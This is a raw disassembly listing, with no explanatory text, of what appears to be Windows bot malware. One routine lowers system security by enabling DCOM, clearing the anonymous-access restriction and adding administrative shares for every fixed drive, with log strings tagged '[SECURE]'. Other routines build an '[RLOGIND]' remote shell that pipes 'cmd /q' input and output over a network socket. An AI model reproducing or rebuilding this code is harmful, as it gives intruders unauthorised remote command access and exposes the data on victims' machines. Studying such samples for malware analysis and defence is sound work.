		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_4335C8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40ED78
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	59h
		lea	edx, [eax+1]


loc_40ED30:				; CODE XREF: sub_40ECEC+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40ED30
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_433484	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_40ED60
		push	offset aSecureEnableDc ; "[SECURE]: Enable DCOM	failed."
		jmp	short loc_40ED65
; ---------------------------------------------------------------------------


loc_40ED60:				; CODE XREF: sub_40ECEC+6Bj
		push	offset aSecureDcomEnab ; "[SECURE]: DCOM enabled."


loc_40ED65:				; CODE XREF: sub_40ECEC+72j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C	; RegCloseKey
		jmp	short loc_40ED8B
; ---------------------------------------------------------------------------


loc_40ED78:				; CODE XREF: sub_40ECEC+36j
		lea	eax, [ebp+var_220]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40ED8B:				; CODE XREF: sub_40ECEC+8Aj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EDAA
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EDAA:				; CODE XREF: sub_40ECEC+A2j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4335C8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40EE14
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_433484	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_40EDFC
		push	offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access	t"...
		jmp	short loc_40EE01
; ---------------------------------------------------------------------------


loc_40EDFC:				; CODE XREF: sub_40ECEC+107j
		push	offset aSecureUnrestri ; "[SECURE]: Unrestricted access	to the IP"...


loc_40EE01:				; CODE XREF: sub_40ECEC+10Ej
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C	; RegCloseKey
		jmp	short loc_40EE2E
; ---------------------------------------------------------------------------


loc_40EE14:				; CODE XREF: sub_40ECEC+E3j
		push	offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$	restricti"...
		jmp	short loc_40EE20
; ---------------------------------------------------------------------------


loc_40EE1B:				; CODE XREF: sub_40ECEC+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_40EE20:				; CODE XREF: sub_40ECEC+12Dj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EE2E:				; CODE XREF: sub_40ECEC+126j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EE4D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EE4D:				; CODE XREF: sub_40ECEC+145j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		cmp	dword_433628, ebx
		pop	ecx
		jnz	loc_40EFC0
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_40EE6E:				; CODE XREF: sub_40ECEC+1EFj
		push	dword_42B2F4[esi]
		push	off_42B2F0[esi]
		push	ebx
		call	sub_405FC7
		add	esp, 0Ch
		push	off_42B2F0[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_40EE9A
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_40EE9F
; ---------------------------------------------------------------------------


loc_40EE9A:				; CODE XREF: sub_40ECEC+1A5j
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_40EE9F:				; CODE XREF: sub_40ECEC+1ACj
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EEC8
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EEC8:				; CODE XREF: sub_40ECEC+1C0j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		add	esi, 8
		cmp	esi, 10h
		pop	ecx
		jb	short loc_40EE6E
		call	ds:dword_41F0FC	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_40EFA8


loc_40EEF0:				; CODE XREF: sub_40ECEC+2B6j
		test	byte ptr [ebp+var_4], 1
		jz	loc_40EF9D
		cmp	bl, 41h
		jz	loc_40EF9D
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_412E0D
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_412E0D
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43342C	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_40EF9D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_405FC7
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_40EF61
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_40EF66
; ---------------------------------------------------------------------------


loc_40EF61:				; CODE XREF: sub_40ECEC+26Cj
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_40EF66:				; CODE XREF: sub_40ECEC+273j
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40EF90
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EF90:				; CODE XREF: sub_40ECEC+288j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40EF9D:				; CODE XREF: sub_40ECEC+208j
					; sub_40ECEC+211j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_40EEF0


loc_40EFA8:				; CODE XREF: sub_40ECEC+1FEj
		lea	eax, [ebp+var_220]
		push	offset aSecureNetwor_0 ; "[SECURE]: Network shares added."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		pop	edi
		jmp	short loc_40EFD3
; ---------------------------------------------------------------------------


loc_40EFC0:				; CODE XREF: sub_40ECEC+174j
		lea	eax, [ebp+var_220]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EFD3:				; CODE XREF: sub_40ECEC+2D2j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EFF1
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EFF1:				; CODE XREF: sub_40ECEC+2EAj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_40ECEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40F005	proc near		; CODE XREF: sub_40F005+1Cj
					; DATA XREF: sub_40D1EF+3B4o
		push	1
		push	0
		push	0
		push	0
		call	sub_40E9C5
		add	esp, 10h
		push	dword_42B2EC
		call	ds:dword_41F000	; Sleep
		jmp	short sub_40F005
sub_40F005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F023	proc near		; DATA XREF: sub_4078FA+4A4Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		cmp	[ebp+74h+var_10], 0
		push	[ebp+74h+var_8]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		jz	short loc_40F061
		call	sub_40E9C5
		jmp	short loc_40F066
; ---------------------------------------------------------------------------


loc_40F061:				; CODE XREF: sub_40F023+35j
		call	sub_40ECEC


loc_40F066:				; CODE XREF: sub_40F023+3Cj
		add	esp, 10h
		push	[ebp+74h+var_14]
		call	sub_4111AE
		pop	ecx
		push	0
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40F023	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F07B	proc near		; CODE XREF: sub_40F2F9+98p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		push	edi
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_58]
		rep stosd
		lea	edi, [ebp+var_14]
		stosd
		xor	esi, esi
		stosd
		stosd
		stosd
		mov	eax, [ebp+arg_0]
		mov	edi, ds:dword_41F0B4
		push	esi
		push	1
		mov	[ebp+var_20], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_58], 44h
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_41F0E8	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_41F030	; CreateProcessA
		test	eax, eax
		jz	short loc_40F12B
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_434340[eax], ecx
		call	ds:dword_41F034	; CloseHandle
		jmp	short loc_40F141
; ---------------------------------------------------------------------------


loc_40F12B:				; CODE XREF: sub_40F07B+8Ej
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"...
		call	sub_401CA7
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_40F141:				; CODE XREF: sub_40F07B+AEj
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F07B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F147	proc near		; DATA XREF: sub_40F3F5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 1B0h
		push	ebx
		mov	ebx, ds:dword_41F058
		push	esi
		push	edi
		mov	edi, [ebp+74h+arg_0]
		jmp	short loc_40F1A9
; ---------------------------------------------------------------------------


loc_40F160:				; CODE XREF: sub_40F147+77j
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+74h+arg_0], eax
		jbe	short loc_40F192


loc_40F16B:				; CODE XREF: sub_40F147+49j
		mov	cl, [ebp+esi+74h+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_40F182
		cmp	dl, 0Dh
		jz	short loc_40F182
		mov	[ebp+eax+74h+var_1B0], 0Dh
		inc	eax


loc_40F182:				; CODE XREF: sub_40F147+2Bj
					; sub_40F147+30j
		mov	[ebp+eax+74h+var_1B0], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+74h+arg_0]
		mov	dl, cl
		jb	short loc_40F16B


loc_40F192:				; CODE XREF: sub_40F147+22j
		push	0
		push	eax
		lea	eax, [ebp+74h+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_433534	; send
		test	eax, eax
		jle	short loc_40F1C0


loc_40F1A9:				; CODE XREF: sub_40F147+17j
		push	0
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	0C8h
		lea	eax, [ebp+74h+var_C8]
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_40F160


loc_40F1C0:				; CODE XREF: sub_40F147+60j
		mov	esi, ds:dword_41F008
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_40F1DC
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
		call	sub_401CA7
		pop	ecx
		pop	ecx


loc_40F1DC:				; CODE XREF: sub_40F147+84j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_40F147	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F1E4	proc near		; DATA XREF: sub_40F3F5+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+74h+arg_0]
		xor	esi, esi
		mov	[ebp+74h+var_10], ebx
		jmp	loc_40F2D6
; ---------------------------------------------------------------------------


loc_40F201:				; CODE XREF: sub_40F1E4+107j
		cmp	[ebp+74h+var_10], ebx
		jbe	short loc_40F20E
		dec	[ebp+74h+var_10]
		jmp	loc_40F2D9
; ---------------------------------------------------------------------------


loc_40F20E:				; CODE XREF: sub_40F1E4+20j
		mov	al, byte ptr [ebp+74h+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_40F2C1
		cmp	al, 8
		mov	[ebp+74h+var_C], ebx
		jz	short loc_40F278
		cmp	al, 7Fh
		jz	short loc_40F278
		cmp	al, 3
		jnz	short loc_40F239
		push	ebx
		push	ebx
		call	ds:dword_41F100	; GenerateConsoleCtrlEvent
		jmp	short loc_40F29F
; ---------------------------------------------------------------------------


loc_40F239:				; CODE XREF: sub_40F1E4+49j
		cmp	al, 15h
		jnz	short loc_40F25B
		xor	esi, esi
		mov	[ebp+74h+var_8], 20h
		mov	[ebp+74h+var_7], 58h
		mov	[ebp+74h+var_6], 58h
		mov	[ebp+74h+var_5], 58h
		mov	[ebp+74h+var_4], 0Dh
		mov	[ebp+74h+var_3], 0Ah
		push	6
		jmp	short loc_40F28B
; ---------------------------------------------------------------------------


loc_40F25B:				; CODE XREF: sub_40F1E4+57j
		xor	ecx, ecx
		mov	[ebp+esi+74h+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+74h+var_8], al
		jnz	short loc_40F28C
		mov	[ebp+esi+74h+var_DC], 0Ah
		mov	[ebp+74h+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_40F28B
; ---------------------------------------------------------------------------


loc_40F278:				; CODE XREF: sub_40F1E4+41j
					; sub_40F1E4+45j
		cmp	esi, ebx
		jbe	short loc_40F2A2
		dec	esi
		mov	[ebp+74h+var_8], 8
		mov	[ebp+74h+var_7], 20h
		mov	[ebp+74h+var_6], 8
		push	3


loc_40F28B:				; CODE XREF: sub_40F1E4+75j
					; sub_40F1E4+92j
		pop	ecx


loc_40F28C:				; CODE XREF: sub_40F1E4+84j
		push	ebx
		push	ecx
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_433534	; send
		test	eax, eax
		jle	short loc_40F2F1


loc_40F29F:				; CODE XREF: sub_40F1E4+53j
		mov	al, byte ptr [ebp+74h+arg_0+3]


loc_40F2A2:				; CODE XREF: sub_40F1E4+96j
		cmp	al, 0Dh
		jnz	short loc_40F2D9
		push	ebx
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_DC]
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_41F038	; WriteFile
		test	eax, eax
		jz	short loc_40F2F1
		xor	esi, esi
		jmp	short loc_40F2D9
; ---------------------------------------------------------------------------


loc_40F2C1:				; CODE XREF: sub_40F1E4+36j
		cmp	[ebp+74h+var_C], ebx
		jnz	short loc_40F2CF
		mov	[ebp+74h+var_C], 1
		jmp	short loc_40F2D9
; ---------------------------------------------------------------------------


loc_40F2CF:				; CODE XREF: sub_40F1E4+E0j
		mov	[ebp+74h+var_10], 0Ah


loc_40F2D6:				; CODE XREF: sub_40F1E4+18j
		mov	[ebp+74h+var_C], ebx


loc_40F2D9:				; CODE XREF: sub_40F1E4+25j
					; sub_40F1E4+C0j ...
		push	ebx
		push	1
		lea	eax, [ebp+74h+arg_0+3]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_433414	; recv
		test	eax, eax
		jg	loc_40F201


loc_40F2F1:				; CODE XREF: sub_40F1E4+B9j
					; sub_40F1E4+D7j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_40F1E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2F9	proc near		; CODE XREF: sub_40F3F5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41344D
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40F31E
		xor	eax, eax
		jmp	loc_40F3F1
; ---------------------------------------------------------------------------


loc_40F31E:				; CODE XREF: sub_40F2F9+1Cj
		push	ebx
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		lea	ebx, [esi+4]
		mov	[ebx], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ds:dword_41F0EC	; CreatePipe
		test	eax, eax
		mov	edi, ds:dword_41F034
		jnz	short loc_40F35F
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"...
		jmp	short loc_40F380
; ---------------------------------------------------------------------------


loc_40F35F:				; CODE XREF: sub_40F2F9+56j
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_41F0EC	; CreatePipe
		test	eax, eax
		jnz	short loc_40F388
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"...


loc_40F380:				; CODE XREF: sub_40F2F9+64j
		call	sub_401CA7
		pop	ecx
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F388:				; CODE XREF: sub_40F2F9+79j
		push	[ebp+arg_0]
		mov	ebx, [ebp+var_8]
		push	[ebp+var_4]
		call	sub_40F07B
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40F3EA
		push	offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell."
		call	sub_401C33


loc_40F3B5:				; CODE XREF: sub_40F2F9+8Dj
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40F3C1
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_40F3C1:				; CODE XREF: sub_40F2F9+C1j
		cmp	[ebp+var_8], 0
		jz	short loc_40F3CC
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_40F3CC:				; CODE XREF: sub_40F2F9+CCj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40F3D5
		push	eax
		call	edi	; CloseHandle


loc_40F3D5:				; CODE XREF: sub_40F2F9+D7j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40F3DF
		push	eax
		call	edi	; CloseHandle


loc_40F3DF:				; CODE XREF: sub_40F2F9+E1j
		push	esi
		call	sub_412FE4
		pop	ecx
		xor	eax, eax
		jmp	short loc_40F3F0
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F2F9+B0j
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_40F3F0:				; CODE XREF: sub_40F2F9+EFj
		pop	ebx


loc_40F3F1:				; CODE XREF: sub_40F2F9+20j
		pop	edi
		pop	esi
		leave
		retn
sub_40F2F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3F5	proc near		; CODE XREF: sub_40E00D+1BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40F2F9
		imul	edi, 234h
		mov	esi, eax
		mov	eax, dword_434344[edi]
		mov	edi, ds:dword_41F00C
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F147
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40F464
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401CA7
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_40F544
; ---------------------------------------------------------------------------


loc_40F464:				; CODE XREF: sub_40F3F5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F1E4
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40F4A5
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401CA7
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_41F0C8	; TerminateThread
		xor	eax, eax
		jmp	loc_40F545
; ---------------------------------------------------------------------------


loc_40F4A5:				; CODE XREF: sub_40F3F5+86j
		mov	eax, [esi+10h]
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	3
		call	ds:dword_41F104	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_40F4FF
		dec	eax
		jz	short loc_40F4F9
		dec	eax
		jz	short loc_40F4E5
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		jmp	short loc_40F514
; ---------------------------------------------------------------------------


loc_40F4E5:				; CODE XREF: sub_40F3F5+D9j
		mov	edi, ds:dword_41F0C8
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_40F514
; ---------------------------------------------------------------------------


loc_40F4F9:				; CODE XREF: sub_40F3F5+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40F503
; ---------------------------------------------------------------------------


loc_40F4FF:				; CODE XREF: sub_40F3F5+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_40F503:				; CODE XREF: sub_40F3F5+108j
		call	ds:dword_41F0C8	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_41F0BC	; TerminateProcess


loc_40F514:				; CODE XREF: sub_40F3F5+EEj
					; sub_40F3F5+102j
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_41F034
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4335AC	; closesocket
		push	esi
		call	sub_412FE4
		xor	eax, eax
		inc	eax


loc_40F544:				; CODE XREF: sub_40F3F5+6Aj
		pop	ecx


loc_40F545:				; CODE XREF: sub_40F3F5+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F3F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F54A	proc near		; CODE XREF: sub_40F576+Ap
					; sub_40F779+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		lea	edx, [eax+1]


loc_40F551:				; CODE XREF: sub_40F54A+Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F551
		sub	eax, edx
		push	esi
		mov	esi, eax
		mov	eax, [esp+4+arg_4]
		lea	ecx, [eax+1]


loc_40F564:				; CODE XREF: sub_40F54A+1Fj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40F564
		sub	eax, ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	esi
		retn
sub_40F54A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F576	proc near		; CODE XREF: sub_40F790+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40F54A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40F593
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F593:				; CODE XREF: sub_40F576+17j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]


loc_40F599:				; CODE XREF: sub_40F576+28j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F599
		sub	eax, edx
		push	ebx
		mov	edx, eax
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		mov	[ebp+arg_4], edx
		lea	esi, [eax+1]


loc_40F5B0:				; CODE XREF: sub_40F576+3Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F5B0
		sub	eax, esi
		mov	ebx, [ebp+arg_0]
		lea	ecx, [eax+edx+12h]
		mov	dword_42B3A4, ecx
		push	0FFFFFFEDh
		lea	ecx, [eax+1]
